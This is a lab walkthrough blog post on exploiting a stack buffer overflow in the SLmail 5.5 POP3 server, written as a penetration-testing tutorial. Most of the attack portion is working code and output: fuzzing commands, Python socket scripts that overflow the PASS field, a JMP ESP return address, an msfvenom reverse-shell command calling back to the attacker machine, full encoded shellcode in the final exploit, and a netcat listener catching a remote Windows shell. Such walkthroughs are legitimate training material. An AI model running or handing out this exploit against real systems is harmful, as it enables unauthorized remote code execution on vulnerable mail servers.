Buffer Overflow — Exploiting Seattle Lab Mail (SLmail)

YS2k-iwnl
6 min readFeb 14, 2021

--

Intro

Buffer

Buffer:- A buffer is a small memory allocation used when a program or a process is executed. It’s a specific memory size allocated for the input that we take into our program.

Buffer Overflow

Buffer overflow is a condition when a program writes more data to the memory than it is actually supposed to take, it then overwrites the later memory addresses. The overflown buffer contains malicious code or reverse-shells that will probably give access to the attacker of vulnerable machines.

Types

There are two types of buffer overflows:-

  1. Stack-based Buffer overflow
  2. Heap-based Buffer overflow

Stack:

A stack is a limited access data structure elements can be added and removed from the stack only at the top. It works on LIFO(last-in-first-out) principle.

Stack supports two operations push and pop.
Push: Adds an item to the top of the stack.
Pop: Removes an item from the top of the stack.

Memory layout

Source:- www.geeksforgeeks.com

Registers

For stack-based buffer overflow, we will focus only on EBP, EIP, and ESP. EBP points to a higher memory address at the bottom of the stack, ESP points to the top of the stack at a lower memory location. EIP holds the address of the next instruction to be executed. Our prime focus is on the EIP register since we need to hijack execution flow. EIP read-only register, so we cannot assign the memory address of the instruction to be executed to it.

Flow of the attack

Source:- www.acunetix.com

Seattle Lab Mail (SLmail)

It’s an application for a mail server that is vulnerable to a stack-based buffer overflow attack. There exists an unauthenticated buffer overflow vulnerability in the POP3 server of Seattle Lab Mail 5.5 when sending a password with excessive length.

Requirements

  1. Windows 7 32bit (Victim Machine) IP:- 192.168.1.24
  2. Kali Linux (Attacker Machine) IP:- 192.168.1.5
  3. Immunity Debugger
  4. SLmail Application installed on the windows machine

Immunity Debugger

Application is started, immunity debugger opens a default window which is divided into four parts. 1) Disassemble output of binary 2) CPU Registers 3) Memory Dump 4) Stack.

Steps to exploit stack-based application manually (without using MONA)

1. Fuzzing the service parameter and locating EIP

1.1 Fuzzing service parameter

nc 192.168.1.24 110
+OK POP3 server win7.com ready <00008.29449005@win7.com>
USER
+OK welcome here
PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....... almost 4000 A's

1.2 Replicating the crash with fuzzing output crash bytes

#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = "A"*4000sock.send('USER username\r\n')sock.recv(1024)sock.send('PASS ' + buffer + '\r\n')sock.close()

1.3 Generating and sending the cyclical pattern to determine offset (EIP)

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4000

1.4 Verifying offset (EIP) & ESP starting

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q EIP address

2. Finding Bad characters

Bad Characters

A bad char is simply an ASCII character that can break code execution, such as 0x00 (Null) or 0x0A (line feed). Every time a bad char is detected with the debugger, that character is simply not appearing in the dumped memory area, after following ESP.

2.1 Generating byte array

I made a simple script to generate a byte array.

#!/usr/bin/pythonimport sysbadChars = []for bad in sys.argv[1:]:
badChars.append(int(bad, 0))
counter = 0x00testBed = '"'print "[+] Generating Test Chars : "while counter <= 0xFF:if counter not in badChars:
testBed += "\\x%02x" %counter
counter += 1testBed += '"'print "[+] Done generating! \n\n"
print testBed + "\n\n"

Output

[+] Generating Test Chars : 
[+] Done generating!
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Now just add these characters to the buffer using our script.

#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = “A”*2606buffer += “\x90”*20buffer += “\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”buffer += “B”* (4000 — len(buffer))sock.send(‘USER username\r\n’)sock.recv(1024)sock.send(‘PASS ‘ + buffer + ‘\r\n’)sock.send(‘QUIT\r\n’)sock.close()

2.2 Comparing byte array to the (immunity debugger) Stack.

If this is the case, that char should be removed from the list and we should proceed with the next debugging round until the whole string is visible in memory.

so, I found 3 bad characters who are breaking the flow “\x00\x0a\x0d”, I’ll then remove those characters from our script.

#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = “A”*2606buffer += “\x90”*20buffer += “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”buffer += “B”* (4000 — len(buffer))sock.send(‘USER username\r\n’)sock.recv(1024)sock.send(‘PASS ‘ + buffer + ‘\r\n’)sock.send(‘QUIT\r\n’)sock.close()

3. Finding return address & exploitation

3.1 Manually (using immunity debugger)

The return address used to overwrite the EIP, which will point to ESP to point to ESP each time the program is loaded. Find a JMP_ESP in a preloaded DLL, as long as it has a fixed location in memory at each execution.

So now we just have to find a JUMP to ESP instruction in the ‘USER32.dll’ module.

Manual JMP ESP/CALL ESP

Main menu => View => Executable Modules => USER32.dllDisassemble output of binary => Search for => Command => JMP ESP/CALL ESP => Note its address

OR

Manual CALL EAX

Main menu => View => Executable Modules => select USER32.dllDisassemble output of binary => Search for => Command => CALL EAX => Note it’s address

This address will jump back to the location of the shell.

Here JMP ESP’s address is 75BF6D53

now we’ll add it to the buffer jump return address to JMP ESP so that our shellcode can be executed.

#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = "A"*2606buffer += "\x53\x6D\xBF\x75"buffer += "\x90"*20buffer += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"buffer += "B"* (3500 - len(buffer))sock.send('USER username\r\n')sock.recv(1024)sock.send('PASS ' + buffer + '\r\n')sock.send('QUIT\r\n')sock.close()

3.2 Setting breakpoint to verify the return address (OPTIONAL STEP)

Ensure that the return address is accurate by adding a breakpoint.

3.3 Creating shellcode using Msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT = 4455 -f c -b "\x00\x0a\x0d"

make sure to remove all bad characters coz if not then your exploit is not going to work.

3.4 Add approx 20 NOP’s (“\x90”)

#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = "A"*2606buffer += "\x53\x6D\xBF\x75"buffer += "\x90"*20buffer += ("\xd9\xc6\xbb\x9b\x9d\xaf\x79\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x52\x83\xee\xfc\x31\x5e\x13\x03\xc5\x8e\x4d\x8c\x05\x58\x13"
"\x6f\xf5\x99\x74\xf9\x10\xa8\xb4\x9d\x51\x9b\x04\xd5\x37\x10"
"\xee\xbb\xa3\xa3\x82\x13\xc4\x04\x28\x42\xeb\x95\x01\xb6\x6a"
"\x16\x58\xeb\x4c\x27\x93\xfe\x8d\x60\xce\xf3\xdf\x39\x84\xa6"
"\xcf\x4e\xd0\x7a\x64\x1c\xf4\xfa\x99\xd5\xf7\x2b\x0c\x6d\xae"
"\xeb\xaf\xa2\xda\xa5\xb7\xa7\xe7\x7c\x4c\x13\x93\x7e\x84\x6d"
"\x5c\x2c\xe9\x41\xaf\x2c\x2e\x65\x50\x5b\x46\x95\xed\x5c\x9d"
"\xe7\x29\xe8\x05\x4f\xb9\x4a\xe1\x71\x6e\x0c\x62\x7d\xdb\x5a"
"\x2c\x62\xda\x8f\x47\x9e\x57\x2e\x87\x16\x23\x15\x03\x72\xf7"
"\x34\x12\xde\x56\x48\x44\x81\x07\xec\x0f\x2c\x53\x9d\x52\x39"
"\x90\xac\x6c\xb9\xbe\xa7\x1f\x8b\x61\x1c\xb7\xa7\xea\xba\x40"
"\xc7\xc0\x7b\xde\x36\xeb\x7b\xf7\xfc\xbf\x2b\x6f\xd4\xbf\xa7"
"\x6f\xd9\x15\x67\x3f\x75\xc6\xc8\xef\x35\xb6\xa0\xe5\xb9\xe9"
"\xd1\x06\x10\x82\x78\xfd\xf3\x6d\xd4\xfc\x06\x06\x27\xfe\x19"
"\xb1\xae\x18\x73\x2d\xe7\xb3\xec\xd4\xa2\x4f\x8c\x19\x79\x2a"
"\x8e\x92\x8e\xcb\x41\x53\xfa\xdf\x36\x93\xb1\xbd\x91\xac\x6f"
"\xa9\x7e\x3e\xf4\x29\x08\x23\xa3\x7e\x5d\x95\xba\xea\x73\x8c"
"\x14\x08\x8e\x48\x5e\x88\x55\xa9\x61\x11\x1b\x95\x45\x01\xe5"
"\x16\xc2\x75\xb9\x40\x9c\x23\x7f\x3b\x6e\x9d\x29\x90\x38\x49"
"\xaf\xda\xfa\x0f\xb0\x36\x8d\xef\x01\xef\xc8\x10\xad\x67\xdd"
"\x69\xd3\x17\x22\xa0\x57\x27\x69\xe8\xfe\xa0\x34\x79\x43\xad"
"\xc6\x54\x80\xc8\x44\x5c\x79\x2f\x54\x15\x7c\x6b\xd2\xc6\x0c"
"\xe4\xb7\xe8\xa3\x05\x92")
buffer += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"buffer += "B"* (3500 - len(buffer))sock.send('USER username\r\n')sock.recv(1024)sock.send('PASS ' + buffer + '\r\n')sock.send('QUIT\r\n')sock.close()

3.5 Start listener and execute the exploit

nc -nlvp 4455

If everything goes precisely we’ll get the shell

python exploit.py 192.168.1.24

we got the shell

root@ys2k-1wnl:~# nc -nlvp 4455
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:49305.
Microsoft Windows [Version 6.1.7600]
Copyright © 2009 Microsoft Corporation. All rights reserved.
C:\Program Files\SLmail\System>ipconfig
ipconfig
Windows IP ConfigurationEthernet adapter Local Area Connection:Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::804:651b:e73b:3fdc%11
IPv4 Address. . . . . . . . . . . : 192.168.1.24
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Tunnel adapter isatap.{65BF090F-5221–47CA-93D9–1DC25B4C52A6}:Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
C:\Program Files\SLmail\System>

--

--

YS2k-iwnl
YS2k-iwnl

Written by YS2k-iwnl

Penetration Tester | Engineer

No responses yet